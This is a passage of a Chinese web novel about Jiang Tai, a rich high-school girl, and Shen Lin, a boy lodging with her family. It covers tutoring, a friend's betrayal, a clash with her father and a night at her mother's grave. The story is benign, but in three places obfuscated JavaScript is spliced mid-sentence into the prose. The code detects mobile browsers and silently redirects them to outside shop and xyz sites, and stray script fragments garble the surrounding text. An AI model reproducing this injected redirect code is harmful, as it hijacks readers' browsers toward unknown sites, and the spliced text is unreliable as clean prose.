看见男生手忙脚乱地扯下那件棉质T恤,关上窗户那一刻,她才后知后觉到有点尴尬。 “我……找你有事。”她清咳了声,指指他桌上药瓶,“要帮你吗?” 虽然沈凛反应快,但她还是看见了他裸.露的后腰、脊骨处都有着累积的淤青。 沈凛放下喷雾,站起来:“什么事儿?” “帮我复习。”姜苔转过身,“去我房间吧。” 他下意识跟着她,听清后才不确定地问了句:“你房间?二楼?” 姜苔理所当然道:“嗯,你这什么表情?跟第一天知道我房间在二楼似的。” 不是第一天知道,而是第一次上去。 沈凛从来没有去过二楼。 确切来说,搬进来之前,他的活动场地是花园、院子和地下室的酒窖,这些都是焦莱要干重活的地方。搬进来借住后,也顶多在厨房、餐厅那多走动。 双层别墅没安装电梯,拐着弯的楼梯上在立秋那天被铺上地毯。 二楼只有一间主卧,那就是姜苔的大套房。里面更衣室、洗漱台、小客厅的隔间都划分得清楚。 不过她平时还是常待在卧室那的电脑桌前。 此刻一体机的台式电脑还开着,桌上摆着几本翻开的教材书,是数学微积分的微分方程。 对于国内学生来说,微积分是大学才会学的公修课内容,而AP课程的数学等于大学预科。沈凛进的普高部1班有数竞组,自然会教这方面的题型。 她这才打算找他补补课。 “本来有个学长要教我的,但他太啰嗦了,总是讲着讲着就问我周末有什么计划……”小公主很烦地支着额角,脸颊一侧咬着酸溜溜的乌梅,“我爹地身边的助理小吴也帮我请过老师开小灶,可是在学校讲课很不安全!” 沈凛坐下来,看着那张错了一大半的模拟卷:“为什么不安全?” 她支着下巴:“万一被班里人看见我偷偷努力怎么办?多没面子啊。” “……” 沈凛沉默须臾:“你说的有道理。” 姜苔觉得他很上道,笑眯眯地按下自动笔:“这题。” 说是大学数学内容,但微积分的主要考点就是高三导数。国际部的教科书除了把中文换成英文,题的难度对沈凛这类尖子生来说并不高。 他把台灯靠近了些,列出解题思路:“利用柯西不等式,这里是Z的系数。” “那这个1/2是怎么来的?” 沈凛:“1/4开根号。” “哦对。”她找着窍门,就反应过来方才问的很蠢。写着写着又抬起头,“不许说我笨。” 姜苔不爱把心思放在学习上,但从小到大上最好的学校,成绩跌得太离谱又会立刻请名师家教。就算不爱学,占着得天独厚的教育资源也不会差。 不过她最感兴趣的,只有天马行空的各种画纸。 沈凛视线瞥过桌角那本速写,诚恳道:“不笨,每个人擅长的方向不同。” 姜苔理科一向薄弱,大概是因为注意力难集中,有时听着都会不自知地走神。 这一点在沈凛讲第三道题的时候就发现了。 她听到有点费劲的地方就没耐心,笔尖在草稿上胡乱画字。写他名字的“凛”时,总把其中的“回”字部首画成规整的两个圆圈。 这张试卷讲了近一个小时,效率不高。 姜苔听累了要去画画放松一下,才主动说“今天就先到这”。 沈凛下了楼,捏了捏酸麻的手臂,就听见大厅中传来一句女人的叱责声—— “小凛,不要上二楼!你怎么回事儿呢?” 是刚忙完家务的焦莱,见他从楼梯上下来,脸色都不对劲了。 沈凛指骨垂在腿侧,没来得及开口解释什么。 身后房门口端着空水杯的姜苔及时出现,轻描淡写道:“我只是让沈凛教我写作业。” “苔苔,不是焦姨不让。”焦莱表情局促,“你们都这么大了,又不是小时候,沈凛去你房间像什么样子?被先生看见也不好,会怪我的。” 姜苔睫毛眨了眨,看向沈凛。 他没说话。 她嘴角下一刻弯起个娇俏任性的弧度,对他的态度不太舒畅,却又故意只和他说:“好吧,那下次我下楼来你房间问。” “……” - 说是这么说,但姜苔之后那几天也没再找过沈凛来问问题。就好像两个人的关系一直无法疏远,可熟悉和亲密也总是会点到为止。 大考过后,是学校将中秋、国庆放一起的长假期。 假期开始第二天,姜苔就约了方好好和卢娜两个朋友来她家里聚会。 国际部有个叫“环保游园会”的课外活动,会算学分。她和卢娜商量好了,趁这个长假去公园卖旧玩具和不用的首饰。 方好好是普高部,也是被拖着加入她们的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13727264|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有些人可能上了高中还和初中、小学的小伙伴关系密切。但姜苔很随遇而安,每次升学后都会有新圈子,不爱回头维系旧友。 说来,她随时喊到家里来的朋友并不多。 因为即使在朗御,姜苔也被列入有“公主病”的选项里。 公主病的门槛是真公主、也真“有病”。不谙世事又对一切都不屑一顾,有种天然的貌美优势和高高在上的傲慢。 她脾气率性而为,不懂迂回也懒得迂回。每次一碰上不识趣的男生当众表白,都会把人损得一无是处。 她习惯有话直说,不爱和小团体凑一起活动,自己都经常成为女生们在厕所里说小话的对象之一。 卢娜是在高二上学期来主动认识她的,一个班,近水楼台。 至于和方好好……是当时入学军训,姜苔偷跑出去吃早餐,在云吞店里拼桌认识的。 因为她们口味一致:不要香菜去蒜走葱不要酱油,加醋加花生酱。点饮料时也是点了相同的柠七走冰。 很有缘分。 一上楼进房间,方好好就端着果盘直奔梳妆台的那间隔间里。 果不其然,姜苔还在画眼线、夹睫毛,头也没抬:“再等一下哦,马上化完了。” 方好好郁闷:“十五分钟前,卢娜还在这补妆的时候,你也是这么说的。真不懂你们为什么出个门都要浪费半天时间在脸上。” 姜苔正好定妆结束,起身挑了条镂空的灰粉色薄毛衣,乐呵呵地捧起她的脸揉了揉:“宝贝,因为不是谁都跟你一样素面朝天还这么可爱的!” “……” “拜托,你已经漂亮到天妒人羡了。”方好好跟在她后边,像只碎碎念的幽灵,“可以走了吗?公园场地会被占满的。” 姜苔捡起桌上的拍立得和徕卡相机,又确认手机充满电,拿着防晒霜回头:“我收拾完了啊,卢娜呢?叫她过来一起擦防晒。” 方好好摇头:“跑你家花园里摘花去了吧。” …… 然而,并不是。 沈凛一大早就去了拳击俱乐部,回来拿东西时是走的侧门,正好碰上在泳池边上摆拍视频的卢娜。 “前段时间,我在上学,所以家里的泳池都没换过水……假期到了,今天就换上新水了。不过我在生理期,就不下水玩了。” 配合着刚说完的这段话,卢娜还把手机镜头探进了池底,特意伸手在水里搅了搅。 沈凛停住脚步,多看了一眼她那张陌生的脸。 - 姜苔下楼找人的时候,正好碰上要进房间的沈凛。 她纳闷:“你怎么这个点回来?” 他锁骨那又多一道淤红色的伤痕,伸手提高了衣领,言简意赅:“换绷带。” “哦,我等会儿要出门了。” 她说完,又往客厅里看了一圈。 “找人?”沈凛试探地问,“她在泳池那。” 姜苔正要往那走,又被他喊住:“你这个朋友,你自己注意一点。” 她没懂:“注意什么?” 沈凛垂眸须臾,提醒道:“注意她是不是值得交的朋友。” 姜苔听得不高兴:“你干嘛挑拨离间。” “算了。”他也不能百分百确定,只好含糊一句,“不听就当我没说过。” 本来就对他有之前补习的残余怒气在,姜苔此刻句句是刺:“你说都说了,莫名其妙说这种话!现在又摆出这副表情来,好像是我欺负你了,你到底什么意思?” 沈凛温顺地看着她,一字一顿:“意思是,她是你的朋友,我又不是。” “……” 沈凛是她的朋友吗?他们之间的联系很奇怪,他不像卢娜、应桐他们是在学校自然而然认识的。也不像方好好那样,在校外因一碗云吞结缘。 在姜苔的记忆里,和他稀里糊涂就认识了。 不是亲人,也不像朋友。而且,既然他要这么说,那她更不会自讨没趣地讨“朋友”这个名份。 “我懒得跟你说。”姜苔板着脸,皱起鼻尖,“总之你不要再在背后讲我朋友不好!否则我不会放过你的。” 说完也没见他有什么表示,一直以来,沈凛都是可以任由她捏扁搓圆的。没见过他发脾气,更不会同她吵架。 姜苔对他这副低眉顺眼的姿态很不满意,好比一拳打在了棉花上的无力感。 她转身出大门。 可恶,沈凛这朵臭棉花! 9. 第 9 章 中午的朗御食堂,人头攒动。 辩论课的Miss杨拖延了近半个小时的下课时间,导致一个班的姜苔和卢娜来得最晚。 方好好端着两份餐盘坐到靠窗的一张餐桌那,往后面跟着的几个人看过去:“对了,苔苔最喜欢的蒲烧鳗鱼有人端了吗?” 二楼食堂里最火的一个菜就是蒲烧鳗鱼溏心蛋,而且只有周二才供应,每次都靠排队手快才能打到。 魏柯生扬了扬手上的托盘:“这呢,能给我们姜大小姐忘了吗?我还给她点了一杯蔓越莓汁。” 应桐朝他已经满了的托盘上看:“哪啊?” “沈凛端着呢。”他往后让了个位置,“来,就坐这。” 几个人已经习惯碰上就坐一起,平时不在一个班,也就这时候能聚聚,外来的沈凛则是被魏柯生生拉硬拽坐一起的。 他俩都在普高部尖子1班,在班上属于两个极端。魏柯生热烈开朗,沈凛清冷干净。 都长得好,成绩也好。 自然少不了放一起被议论比较。 魏柯生拉着他过来的理由很具中二病特性:“苔苔的小伙伴,就是我们小分队的伙伴!” 方好好把托盘占位安置好,看了眼一直沉默的沈凛,小声问:“是不是魏柯生太烦了?看你好像不愿意和我们一块坐。” 魏柯生耳尖,故意皱着英气的眉宇,反驳地喊她外号:“方坏坏,你是真坏啊。人沈凛就是高冷,哪有你说的那么多‘不愿意’。” 说完,他胳膊又揽上旁边男生寻求认同:“是吧凛仔?” 沈凛不动声色地把他自来熟的手臂拿下去,低头吃饭,简洁明了地说:“没有不愿意。” 就算是不愿意,也该是姜苔不愿意看见他。毕竟一整个国庆假期,她都在和他闹别扭。 他就不该火上浇油地多说卢娜那一句。 他们落座五分钟,食堂大门那的姜苔和卢娜才姗姗来迟。 国际部的秋季校服和普高部常规式的长袖长裤迥然不同,更参照美高制服,注重凸显身材曲线。 姜苔喜欢搞新潮花样,白衬衫的领带上要配花里胡哨的领带夹。印着学校名字的西服外套只扣一颗扣子,胸针贵气精致。 百褶裙下是双俏皮的白色卡通连膝袜。 这种标新立异总是吸引目光,她却压根没在意过。披散着一头蓬松小卷的黑发,双眸漆黑,一张白皙脸蛋清艳得惹眼。 又明媚,又傲慢。 边上的卢娜虽说和她打扮并无二致,却没她身上那股劲劲的感觉。 魏柯生往她们过来的方向看,笑了下:“姜苔假期上哪儿玩去了?感觉几天不见又漂亮了。” 应桐欠欠道:“你就夸吧,等她尾巴翘上天了,看你怎么收场。” 姜苔手上拎着个家用食盒,扫过桌上一眼。留了两个空位,分别是魏柯生和沈凛的正对面。 卢娜在她停顿时,先坐到了魏柯生对面的位置上。 她也没再考虑,顺势坐到另一个空位,若无其事地打开食盒,把里面的东西分出来:“小魏子嘴甜,赏你先吃糕点。” 食盒里是焦莱早上给她做的凤梨卷。 应桐闻着香味就上手拿:“我不客气了,先帮小魏子尝尝!” “应桐你死了!”卢娜气急大喊,“口水喷我脸上了。好好,快给我给张纸,有病毒的!” “都离我远点,不是先给我吃的吗?” 几个人吵吵闹闹地瓜分完,边上的方好好反应过来:“沈凛,你不吃吗?” 姜苔眼风懒懒地往对面扫一眼,替他回答:“他不用。” 毕竟在家都不知道吃了多少次。 可是这话说出来,边上几个人就觉得她是在闹脾气、玩孤立。虽然姜苔是有点不想搭理沈凛的意思,但也没他们认为的这么严重。 气氛变得有点奇怪。 几个人咳嗽几声,往嘴里照常塞东西。 沈凛却像是并未察觉到这股奇怪,是因为大家对他的同情。他眉眼立体清淡,肩身微沉,吃得极其安静。 午饭快结束时,一群男生从他们这边大摇大摆地经过,是吊车尾常年上主席台念检讨的一批人。 为首的男生是个寸头,叫秦越泽,身上工装裤的金属扣子当啷啷地响。他过来和魏柯生打了个招呼,又象征性地和姜苔示意。 最后,视线挪到她身边的方好好那,挑了下眉。 方好好吃着糕点。 等他走后,突然呛得满脸通红。 “你怎么了?”姜苔不明所以,赶紧把自己的果汁给她推过去,“刚才秦越泽是在跟你打招呼吗?” 方好好把气捋顺,才淡淡说一句:“上次在书店发生了一点小事。他认识你嘛,就对我也眼熟……帮了我。” 姜苔大大咧咧地“哦”了声:“我还以为这小子欺负你了呢。” 说完,她伸了下蜷着的腿,却忘记对面也坐着位人高腿长的,一下蹬到他小腿上。 沈凛正在喝水,因此手也抖了下。他鸦黑的睫羽低耷,额前碎发微微遮住眼,抿了抿唇,有些诧异地看她。 看那表情和黑沉沉的眼神,应该是觉得姜苔在踹他。 “……” 姜苔不自在地挪开眼,不道歉,也懒得解释这是意外。收回腿那刻,眼睛却没忍住弯弯地笑了,显得刚才的行为更像有意为之。 满脸就一句话:踹你怎么了? - 下午倒数第二节课是体育,结束基础训练后就成了自由活动。 姜苔今天傍晚有其他计划,要去办公室找老师请假提前离校。所以练了十五分钟的网球,就顶着一身汗去了更衣室。 还有半个小时才下课,这会儿里面都没人。 她随手找了个更衣间,换好衣服还没一会儿,就听见外面有两个女生走进来,声音很熟悉。 “……你怎么也问普高部那个新来的啊?姜苔说是暂住在她家里,可能是哪儿来的穷亲戚吧。” 是卢娜的声音,她语气里带着几分不屑的口吻:“我们早上是一块来学校的,他和姜苔搭我家司机的便车,两个人也不怎么说话。” 姜苔听到这,停住了要推开门的手。 另一道女声笑着开口:“亲戚?看着他们都不熟。对了,你们小组作业到什么进度了?” “快做完了啊。姜苔是组长,文档都在她那,你想知道她这次的选题吗?你做的好像也是近代史吧。” “你说说看。” 回答她卢娜的人,居然是姜苔一直以来的死对头:金思蔓。 两个人还想继续在这交流下去,边上的木板门“哐当”被踹开,她们惊得都往后退了一步。 卢娜抱怨的声音都没发出来,在看见姜苔那张冷脸时,吓得面色发白:“苔、苔苔。” “你这么叫我不恶心吗?哪来的脸啊!”姜苔眉头皱起,很想让自己镇定一点,可还是被好友的背刺气得无法冷静,“你怎么能这样对我?我哪里对不起你了!” 她本就长得艳丽,冷着一张脸时有些唬人,更别说现在还在发飙。眼睛通红,气愤大于伤心。 卢娜比她矮一点,又理亏,气势也弱了,一步步被她逼得往后退到和墙壁贴着背。 下一刻就见姜苔的手朝她脸上抓过来。 她吓得伸手挡住脸,尖叫:“啊——” 可是姜苔并没抬手打她,只是用了蛮力将她胸口上那五位数的胸针扯了下来,连带着薄薄的运动服布料也被撕坏了些。 那是她送给卢娜的生日礼物,此刻被她头也不回地丢进了垃圾桶里。 卢娜吓得哽咽,蹲在地上哭。 躲到一旁,独善其身的金思蔓这会儿才走上前来,给她递纸。又看着风风火火走远了的那道背影,幸灾乐祸地开口:“姜苔快气死了吧。” - 姜苔确实快气死了,甚至气冲冲地提前回了家。 她在房间发了好大一通脾气,变身桌面清扫大师。把和卢娜相关的合照、旧物品、闺蜜同款都剪得稀巴烂。 又想起前几天沈凛提醒她的那句话。 终于受不了地憋屈、委屈地趴在床上大叫大哭,枕头都胡乱地丢到角落里。 不知道过了多久,卧室的房门突然被推开。 姜苔早就哭累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13727265|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,在床上睡着,脑袋昏昏沉沉地被惊醒。然后,就看见门口一脸风雨欲来的男人。 “张叔说没接到你,打你电话又打不通,你班主任还说查监控看见你体育课就出校门了!”姜霆也刚从公司回来,西装扣子都没解开,一脸阴沉地指着一地狼藉,“焦姨说你进屋就没理人,关着房门摔东西,你看看你在干什么?” 姜苔不想听这些说教,本来就满肚子火:“你又不是第一天不管我,我不就翘了两节课!” “你也知道你翘课!你怎么好意思觉得这是理所应当的?” “你不也一样!”她张牙舞爪,释放攻击技能,也是自己今天下午心情不佳的原因之一,“今天是我妈咪忌日,你都忘记要提前回来陪我去看她!” 说到亡妻,姜霆总算理智回笼了些,试图讲道理:“我不是故意的,只是忙到现在还没忙完。听到你不见了,还要急着赶回来确认你到底怎么了……” “她去贵南那天,你在跟她吵架!”姜苔完全听不进去,只知道他居然真的忘记了霍槿瑜的忌日。气得站起来翻旧帐,“你说还想要个孩子,如果你不跟她吵架,她就不会在那待这么久,是你害了——” “啪”的一声重响!打断她的话。 姜霆重重地把手掌拍在书桌上,嗓音在抖:“姜苔,你懂点事吧!要拿你妈咪折磨我多久?这些年只有你在难过吗?” 当几年霍槿瑜一心扑在科研上,比他这个公司总裁还要忙。姜霆想趁彼此还年轻,再要个孩子。 其实并非真心要二胎,他想的是让孩子留她在家休息一、两年,能多陪陪他。 他也没想过贵南那场意外会造成天人永隔。 姜霆当时过得醉生梦死,看见姜苔那张和霍槿瑜长得相似的脸,更是不愿意面对现实。 枕边没人,心里静不下来,整夜整夜睡不着。他在霍槿瑜去世的第二年,交往的第一个对象是她生前研究室里的前同事,试图在其他女人身上寻找前人的影子。 但姜苔对此剧烈反对,双方闹得很不愉快。 姜霆从来不觉得自己是圣人,他只是个普通男人,当年凭着一张好皮相和坚持不懈才追上霍槿瑜。 爱的时候是真爱,可总不能靠着对亡妻的爱过一辈子,所以才会顺其自然地开始新恋情。 “你妈咪这些年已经不来我梦里了,她也希望我们能过得好。”姜霆神情有些痛苦,扶住门框,“我等会儿要飞东京,明天事情一结束,我就回来陪你去扫墓。” 姜苔根本不想和他吵下去,直直看着他手掌下被拍坏的光盘。表情呆住了,像是都没反应过来一样。 那是霍槿瑜给她过生日时的录像带,可现在被拍裂成两半。 - 沈凛是从俱乐部回来后,才得知姜苔不见了。 焦莱急得团团转,跟他把来龙去脉说了一遍:“她一进门就把自己关进房间,先生回来的时候又上楼和她吵架……哎哟,东西摔得满地都是。 “我才去买了晚上煲汤的菜回来,就听张叔说人不见了。”焦莱拍拍他手臂,“张叔去物业调监控了,你和她一个学校的,是不是在学校发生什么事了?” 沈凛蹙眉看向空荡荡的二楼,思绪停滞半晌:“我不知道。” “我再去车库找找……”焦莱唉声叹气。 沈凛在她走后,上了二楼,站在房门口。一地的狼藉都被焦莱收拾了,此刻只有微微凌乱的被子证明着姜苔回来过。 他眸光扫到书桌上的日历的被标注的一页,又看见了碎掉的光盘。 之前来房间帮她补习的时候,他看过她DVD里放的正是这一张,也听她顺嘴提过:这是她过生日时收到的最珍贵的礼物。 楼下的座机电话在这时响起,脆铃铃的几声。 沈凛下楼接起来。 那边的声音带着哭腔,还有很大的风声:“喂?” “姜苔。”他神经都拧在一块,柔声问,“你在哪?” “沈凛……”姜苔声音还夹杂着几分怯,憋着呜咽,“我在我妈咪的墓地,天黑了,我不敢下去。” “手机也快没电了,脚好麻,好冷呜呜呜。” 10. 第 10 章 这个点,墓地的工作人员在沈凛找上门时也吓了一跳,拿着钥匙和手电筒去开了墓园大门:“两个钟之前,是有这么个小姑娘上山……我跟她说了只能待半个小时就要关门了,还以为她走了呢。” 路灯开起来照亮阶梯。 墓园建在山上,像一座寂静岭。 沈凛在上山的途中,莫名想起小时候的姜苔,因为看了一眼僵尸片都吓得不敢睡觉。 她胆子明明很小,到底受了多大的委屈才敢一个人跑到墓园来。 手机打着光,来到工作人员说的位置。沈凛站定,蹙眉看着眼前的女孩看了整整半分钟。 她居然靠着霍槿瑜的墓碑没心没肺地睡着了。只穿了件单薄毛衣,脸上还有水痕,纤密眼睫毛湿漉漉的,眼皮都有些水肿,看上去哭了很久。 被手电筒的强光刺了一下眼睛,姜苔惊慌失措地睁眼,先是看到边上站着一道高大挺拔的黑影。 在尖叫之前,听见男生半蹲在她面前开口:“是我,沈凛。” 姜苔圆溜溜的黑瞳迟缓地转了转,稍稍坐直些,嗓子沙哑:“我爹地没来吗?” “他还在飞机上,张叔说给他发信息了,等他下飞机会再给他报平安。”沈凛轻叹气,原本想说的话在看见她这副模样后也不知道怎么说出口,最后只是说,“姜苔,回去吧。” 姜苔吸吸鼻子,扭过头:“我知道你不是自愿来的,你们都觉得我不听话,耍小孩子脾气,很麻烦。” 她声音被吹散在凄冷的风里。 沈凛把身上那件棒球服脱下来披在她身上,示意她抬手伸进袖子里。 又听到她继续碎碎念,越说越委屈:“……我讨厌卢娜!也讨厌我爸,他还凶我呜呜呜呜!!” 他把拉链拉上,终于压着声回应:“嘘。” 姜苔整个人被裹在他宽大外套里,眼睫毛在情绪波动间眨了又眨,瑟缩着问:“怎、怎么了?看见什么了吗?” 沈凛本意只是想让她别哭,但见她慎重的表情也表示着已经达到了目的。他把话接下去:“不要吵到别人。” “你别吓我……这里哪里有人啊!”姜苔憋住声音,往他怀里靠过去。像一只寻求避风港的小动物,“沈凛,我脚好冷,麻掉了。” 到底是血气方刚的男高中生,他胸膛滚烫。 下颌被柔软头发擦过,鼻间也闻到女孩身上的香味。沈凛收紧了手掌,放在她小腿肚那揉了揉:“我背你下山。” “那我不就要在你后面了吗?”姜苔为难道,“万一有东西拍我后背怎么办。” “……” 沈凛:“这里都是楼梯,抱不了。” 而且天这么黑,阶梯这么长,抱着下去很危险。 姜苔思考了几秒后,让他转身,拿着他的手机打光:“好吧。” 沈凛把她背起来,还是听见身后很小的抽泣声。他低眸开口道:“姜苔,我是。” “什么?” “我是自愿来的。”他说完这句,又停顿了下,“如果有东西拍你后背的话,不要理它。” “……” 姜苔还没来得及感动,就听见后面这一句恐吓,气恼地锤了他肩膀一下。 下山的路比上山轻松,只是山林间能听见各种奇怪的鸟叫、蛙叫声。 姜苔努力让自己别想一些恐怖电影的情节,歪着脑袋看到沈凛的侧脸和线条流畅的下颌。 他鼻梁很挺,薄唇紧抿着,心无旁骛地往前走着。 或许是太安静,也太久没有和认识霍槿瑜的人聊起她。姜苔蓦地小声地问:“沈凛,你还记得我妈咪吗?” 沈凛力道收紧了些,看着眼前阶梯,脚步未停:“我只见过她一次,还有印象。” “当然会记得了,我妈咪很漂亮的。”她轻闭上眼睛,像是陷入在回忆里,“我妈咪说她一生都在做生物科研,研究苔藓,所以给我取名叫姜苔。她说苔藓和姜苔都是她一生中重要的成果……” “我没有指望过我爹地能为她守寡一辈子,反正男人都那样。” 伉俪情深的夫妻实在少见,有钱有势的男人玩得更花。今天大伯母在捉奸,明天某个同学的父母闹出轨。 矮子里面挑将军,或许霍霆已经算稍微正常一点的中年男人了。 至少霍槿瑜在世时,他没有对不起她。 “我也不是故意讨厌他,跟他对着干……可是,你还记得乌龙吗?” 是她怀里的那只漂亮布偶。 沈凛照顾过两天的猫,爱吃干脆面。 “他在我妈咪去世后,交往的第一任女友是我妈咪的同事。”姜苔咬了咬唇,有些伤心地把脑袋垂下去,“有一天,那个阿姨把车开进我家的院子里,不小心把乌龙轧死了。” 沈凛讶异又不知所措地停了下,不知道该怎么安慰她。 - 晚上10点多,沈凛和姜苔一块到家。家里只有焦莱,她还没睡,也很有眼力见地没多问,只是照常给她端了晚饭。 之后姜霆打来了电话,姜苔还在赌气不接,是焦莱一五一十地接通电话汇报情况。 不知道为什么,就连港城那边的外祖母、舅舅也知道了今天发生的事儿,连夜打来电话询问。 姜苔在客厅接了视频通话,最后拿着平板回房间,头皮发麻地解释自己真没被亲爹家暴:“他是有骂我,但是没有动手。有舅舅您在,我爸怎么可能敢打我呢?您千万别跑去东京找他啊……” 所有人都被姜苔短暂消失的几个小时闹得不安宁。 沈凛静静看着窗外后花园里被灯光照亮的一角,有些庆幸,好在还有很多人爱她。 将近凌晨,他的房门被敲醒。 姜苔抱着床上的刺猬玩偶在胸前,纤细高挑,穿着一条白色蕾丝边的睡裙。乌发如藻,被随意地在后面挽了一个低马尾。 瓷白清柔的颈脖和手臂裸在外边,表情带着几分怒气,显得脸颊有些红润。 一见他开门,她就猫着身子从他撑着门框的手臂下灵活地钻了进去,毫不迟疑地坐在他这间房里唯一宽敞的空地——床上。 “……姜苔。” 沈凛还伫立在原地,大概觉得自己没睡着,却已经在做梦。直到听见小公主理直气壮的声音,将他彻底唤醒。 “我突然想起一件事!”她没有一点夜半打扰人的自觉,气愤开口,“你把你的手机给我用一下。” 沈凛喉结滚了滚,没说出一句话来。 姜苔拿着他手机解锁完,用他的号码注册了微博和几个平台的账号,然后去搜卢娜的社交号。 “我就知道她把我屏蔽了,什么她家里!什么她司机的车,这不是我家吗?”她气愤不已,大力地戳着手机屏幕,“气死我了!!” 沈凛坐在一旁的椅子上,下巴懒乏地磕着椅背。事后诸葛亮地开口,让她更气:“我都跟你说过了。” 姜苔一个眼刀杀过去,下一秒又泄气:“她可以骗我,但是她为什么要站队金思蔓?” 沈凛安静地听着她嘴里又冒出一个陌生人的名字。 不过好像也出现过好多次,说这个女生总和她抢第一名,抢朋友,抢老师的好感评分…… “明明金思蔓也有很多毛病,只是装得很礼貌优雅。她连小组作业都先打听我做了什么,为了赢我都胜之不武了!”姜苔忿忿不平,“如果我有缺点的话,为什么卢娜就不介意金思蔓也是个差劲的人?” 最后一句是问句。 沈凛作为承受她怒气的人,缓了缓,淡声开口:“对人不对事的憎恨其实是嫉妒。她也许不是讨厌你,而是讨厌为什么不能成为你。” 姜苔蹬开拖鞋,盘着腿坐,垂头丧气地说:“为什么要这样对我?我把她当朋友。” 他有些困了,眼皮懒懒耷着,望向少女娇媚生动的脸:“喜欢都没有理由,讨厌就一定要有理由吗?” - 心情差劲,也不想回去面对烂摊子。姜苔请了两天假没去上学,并为翘的两节课给班主任道了歉。 第三天是周五,终于在方好好和魏柯生的贴心轰炸下,她选择回学校。 第一节课是Pre,即各个小组代表上讲台做课题展示。 轮到姜苔时,她作为组长带着U盘上台,一如既往地将演示做完。 在老师快要打分之前,她又做了一个有话要说的手势:“我希望能把卢娜从我的组里除名。” 班里安静下来,卢娜脸色通红:“你凭什么公报私仇?小组作业是一起做的,你想一个人包揽功劳吗?” 姜苔面色不改:“我纠正你一点,是只把你除名。” “好了,私下恩怨不要放在课堂上来讲。”老师手里拿着记分册,坐在一旁,“除名的理由是什么?” “她划水,那一部分的内容都是我写的。”姜苔摁了下鼠标,翻到下一页的概率图上,“做完整个作业用的是canno软件,可以看见每个part的作业时长、步骤。这个1%就是卢娜的上线时间,如果让她也得到这次的分数,对整个小组的其他成员都不公平。” 但以前也不是没有划水过,那时姜苔把她当朋友,能包容就包容一些,大不了把她那部分也做完。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13727266|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 现在是撕破了脸,懒得再忍让。 老师点了点头,看着无话可说的卢娜,又看了眼姜苔组里的其他组员:“都没意见?好,卢娜待会儿来一趟我办公室。” 姜苔发泄完,面无表情地扫了台下一眼。 下完课没多久,卢娜就在班里其他女生似有若无的扫视眼光下,进教室敲了敲姜苔桌子:“我们谈一下。” 走到楼梯间,两个人脸上的表情都不太好看。 卢娜说出目的:“刚才唐泛雨找我说,你撤销了我的新闻部部长任选资格。你能当上这个副会长难道就是凭实力吗?不也是因为你爸给学校捐了一栋实验楼!姜苔,你只会这样利用家世欺负人吗?” 姜苔无动于衷地看着她,有些纳闷:“为什么你不对我道歉?” “我道歉的话,你会把部长职位还给我吗?” “不会啊。”她哂笑,“你确定还要惹我吗?你那些从我家里偷拍的vlog、发布的照片,不会以为我真的不知道吧。” 卢娜一怔,脸色苍白地往后退了一步,讷讷道:“你总是这样,明明就高高在上,看不起我,还说什么把我当朋友……” “你不要再倒打一耙,我才没问题,有问题的是你!”姜苔冷哼一声,“我要是你一定不会三心二意地站队,低B!” 卢娜哑口无言。 姜苔大获全胜,雌赳赳气昂昂地往回走,满脸写着“姐骂赢了”的胜利宣言。 - 拳击俱乐部今天没多少客人。 沈凛刚打完一场娱乐赛,短发湿透,翻身下了八角笼。 他身上披着条毛巾,宽肩阔背上还流着汗,有零星浅淡的几处旧伤痕在,健康又蓬勃的骨骼肌肉里蕴藏着介乎于成年人之间的力量。 棱角分明的五官,却又是一张寡情冷静的脸。 微淡的烟草味在后台更衣室里传出来。 全子来找他,掀开帘子:“喏,这东西可不好修,我那朋友费了九牛二虎之力才给你修好。” 盒子打开,是一张崭新的光盘。 沈凛径直用指腹捻灭了烟,将东西接过来:“谢了,多少钱?” “你看着给,都熟人,意思意思得了。”全子说完,又从他口袋里掏出烟盒,笑得不怀好意,“不过你还是第一次愿意欠我人情,这光盘谁的啊?” 他拧眉:“你看了?” “我没看啊!刚拿回来呢,瞧你那样。”全子“切”了声,“不会是之前来找你的那富家女吧?” 沈凛从边上扯过外套和书包,不欲多说:“今天先回去了,明天请你吃饭。” “哎,还没回答我呢!” …… 沈凛傍晚到家时,姜苔已经吃过晚饭,但罕见地没有回楼上房间,而是在客厅里打游戏。 她打的是手游,屏幕连接了客厅电视。 开了麦,那边组队的人有魏柯生、应桐和方好好。 加载时间,姜苔转过头问:“沈凛你回来了,要不要一起玩?我可以让应桐滚!” ——应桐立刻不满:“姜苔苔你别太过分!” 沈凛摇头,回了房间。 过会儿,他出来把洗了的衣服拿去晾晒,听见姜苔说“渴,帮我拿杯柠檬芭乐!” 再出来帮忙搬水时,又听见姜苔说“有点想吃东西,沈凛,薯片、再切块西瓜!” “我去厕所,沈凛,帮我玩一下!” 